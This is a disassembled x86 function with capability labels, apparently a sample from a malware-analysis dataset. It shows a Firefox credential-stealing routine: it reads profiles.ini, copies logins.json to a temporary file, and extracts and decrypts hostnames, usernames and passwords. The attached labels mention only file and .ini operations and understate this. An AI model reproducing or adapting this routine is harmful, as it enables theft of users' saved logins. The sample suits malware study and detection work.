Function at 0x40a36f
Capabilities:
Check if file exists
Copy file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c8
push ebx
push esi
push edi
mov esi, ecx
lea ecx, [ebp - 0x14]
push str.Profile
mov dword [ebp - 0x1c], esi
call fcn.004036f7
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x4c4]
push ebx
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x2bc]
mov edi, ebx
push 0x104
push ebx
push eax
call fcn.00401052
pop ecx
pop ecx
lea edx, [ebp - 0x2bc]
mov ecx, str.firefox.exe
call fcn.0040b87d
pop ecx
test eax, eax
je 0x40a8aa
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004036f7
push str._firefox.exe
lea eax, [ebp - 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
cmp dword [ebp - 0x58], 6
lea eax, [ebp - 0x28]
jne 0x40a47d
push 1
push ecx
mov ecx, esp
push eax
call fcn.0040373f
mov ecx, esi
call fcn.0040b165
test eax, eax
je 0x40a8a2
push str.MozillaFirefox_
lea ecx, [ebp + 8]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040373f
push str.profiles.ini
lea ecx, [ebp - 0x20]
call fcn.0040357c
push str.Profile
lea ecx, [ebp - 0x24]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x14]
call fcn.00403549
mov ecx, dword [ebp - 0x24]
call fcn.00405feb
push ebx
lea ecx, [ebp - 0x14]
call fcn.00403384
jmp 0x40a86a
push ebx
jmp 0x40a413
inc edi
lea ecx, [ebp - 0x5c]
push str.Profile
mov dword [ebp - 0x24], edi
call fcn.004036f7
push eax
lea ecx, [ebp - 0x14]
call fcn.00403549
mov ecx, dword [ebp - 0x5c]
call fcn.00405feb
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x5c], ebx
call fcn.00403384
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
call fcn.0040373f
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 8]
call fcn.0040357c
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 8]
call fcn.00403666
push dword [ebp - 0x18]
call dword [esi + 0x68]
pop ecx
test eax, eax
je 0x40a4f5
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
jmp 0x40a867
call dword [esi + 0x80]
mov dword [ebp - 0x98], eax
test eax, eax
je 0x40a4e0
push ebx
push 1
push eax
call dword [esi + 0x7c]
add esp, 0xc
test eax, eax
jne 0x40a4e0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040373f
push str.logins.json
lea ecx, [ebp - 0x10]
call fcn.0040357c
push 0x1a
pop edx
lea ecx, [ebp - 0xc]
call fcn.00410c8a
push 0x4176a4
lea ecx, [ebp - 0xc]
call fcn.0040357c
push 8
pop edx
lea ecx, [ebp - 0x34]
call fcn.004035b9
push eax
lea ecx, [ebp - 0xc]
call fcn.00403447
mov ecx, dword [ebp - 0x34]
call fcn.00405feb
push str..tmp
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x34], ebx
call fcn.0040357c
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40a592
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.00403549
mov edi, dword [ebp - 0x10]
lea ecx, [ebp - 0xb4]
call fcn.004113ed
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xb0]
call fcn.00403549
push ecx
push 0xc0000000
lea ecx, [ebp - 0xb4]
call fcn.004116b1
lea ecx, [ebp - 0xb4]
test eax, eax
je 0x40a838
push ebx
push dword [ebp - 0xa0]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push eax
mov dword [ebp - 0x2c], ebx
call fcn.0041135c
push str.encryptedUsername
lea ecx, [ebp - 0x70]
call fcn.004034d1
mov ebx, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x9c]
push eax
call fcn.0040305d
mov edx, ebx
mov ecx, eax
call fcn.0040961c
mov ecx, dword [ebp - 0x9c]
mov ebx, eax
mov dword [ebp - 0x74], ebx
call fcn.00405feb
mov ecx, dword [ebp - 0x70]
call fcn.00405feb
test ebx, ebx
je 0x40a7f5
mov edi, dword [ebp - 0x1c]
xor ebx, ebx
mov esi, dword [ebp - 0x74]
push esi
push str.hostname
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
call fcn.004034d1
push eax
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040305d
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.00409655
pop ecx
pop ecx
mov ecx, dword [ebp - 0x78]
call fcn.00405feb
mov ecx, dword [ebp - 0x7c]
call fcn.00405feb
push esi
push str.encryptedUsername
lea ecx, [ebp - 0x84]
call fcn.004034d1
push eax
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040305d
mov edx, eax
lea ecx, [ebp - 0x50]
call fcn.00409655
pop ecx
pop ecx
mov ecx, dword [ebp - 0x80]
call fcn.00405feb
mov ecx, dword [ebp - 0x84]
call fcn.00405feb
push esi
push str.encryptedPassword
lea ecx, [ebp - 0x8c]
call fcn.004034d1
push eax
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040305d
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00409655
pop ecx
pop ecx
mov ecx, dword [ebp - 0x88]
call fcn.00405feb
mov ecx, dword [ebp - 0x8c]
call fcn.00405feb
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
push dword [ebp - 0x50]
call fcn.0040a8c3
lea eax, [ebp - 0x48]
mov ecx, edi
push eax
push dword [ebp - 0x4c]
call fcn.0040a8c3
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x54]
call fcn.004031af
push eax
lea ecx, [ebp - 0x6c]
call fcn.00403549
mov ecx, dword [ebp - 0x38]
call fcn.00405feb
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x38], ebx
push eax
push dword [ebp - 0x44]
lea ecx, [ebp - 0x90]
call fcn.004034d1
mov ecx, eax
call fcn.004031af
push eax
lea ecx, [ebp - 0x68]
call fcn.00403549
mov ecx, dword [ebp - 0x3c]
call fcn.00405feb
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x3c], ebx
call fcn.00405feb
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0x94]
call fcn.004034d1
mov ecx, eax
call fcn.004031af
push eax
lea ecx, [ebp - 0x64]
call fcn.00403549
mov ecx, dword [ebp - 0x40]
call fcn.00405feb
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x40], ebx
call fcn.00405feb
sub esp, 0x10
mov dword [ebp - 0x60], ebx
lea eax, [ebp - 0x6c]
mov ecx, esp
push eax
call fcn.00401ff2
mov ecx, edi
call fcn.00402028
mov ecx, dword [ebp - 0x44]
call fcn.00405feb
mov ecx, dword [ebp - 0x48]
call fcn.00405feb
mov ecx, dword [ebp - 0x4c]
call fcn.00405feb
mov ecx, dword [ebp - 0x50]
call fcn.00405feb
mov ecx, dword [ebp - 0x54]
call fcn.00405feb
lea ecx, [ebp - 0x6c]
call fcn.00401441
sub esi, 1
jne 0x40a630
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
jmp 0x40a7f7
xor ebx, ebx
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a814
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.0040373f
call fcn.0041142a
pop ecx
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x98]
call dword [eax + 0x84]
mov eax, dword [ebp - 0x1c]
pop ecx
call dword [eax + 0x6c]
lea ecx, [ebp - 0x30]
call fcn.00403148
lea ecx, [ebp - 0xb4]
call fcn.0041140c
mov ecx, esi
call fcn.00405feb
mov ecx, edi
mov dword [ebp - 0xc], ebx
call fcn.00405feb
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ebx
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 8], ebx
push dword [ebp - 0x20]
lea eax, [ebp - 0x4c4]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
jne 0x40a480
mov ecx, esi
call fcn.0040b10e
mov ecx, dword [ebp - 0x20]
xor ebx, ebx
inc ebx
call fcn.00405feb
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
mov ecx, dword [ebp + 8]
call fcn.00405feb
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4